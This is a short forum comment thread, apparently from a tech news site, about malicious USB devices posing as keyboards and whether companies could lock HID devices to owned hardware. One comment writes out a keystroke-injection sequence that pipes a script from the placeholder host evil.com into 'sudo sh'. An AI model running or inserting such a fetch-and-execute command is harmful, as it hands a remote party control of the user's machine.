Found hooked up to my router

Re:Found hooked up to my router by Too on Friday September 28, 2018 @01:20AM (#18091263)

Don't believe generic hid is safe either. You could make a device that pretends it's a keyboard and automatically inputs win+r curl http://evil.com/script.sh | sudo sh sleep alt+y.

Sorry for mixing windows and Linux but conceptually something like this should work on windows if you don't require password in your UAC prompts.

[ Parent | on HN ]

Re:Found hooked up to my router by clort on Friday September 28, 2018 @05:22AM (#18092032)

I wonder if a big (Fortune 500) company could get HID devices which were customised so that only company owned devices could be plugged in.. it shouldn't be that hard to design such a device that would show up as a custom device then the installed driver would poke it in a crypto shielded way and it then provides the keyboard/mouse inputs. It can't simply do the standard 'detach and reattach as a HID' because otherwise then a HID would work..

Hm, perhaps.. is anything like that available already?

[ Parent | on HN ]

Re:Found hooked up to my router by Too on Friday September 28, 2018 @11:25AM (#18094146)

Please no, don't add DRM in keyboards.

[ Parent | on HN ]

Re:Found hooked up to my router by TazeTSchnitzel on Friday September 28, 2018 @03:35AM (#18091636)

Just leaking data requires no UAC!

[ Parent | on HN ]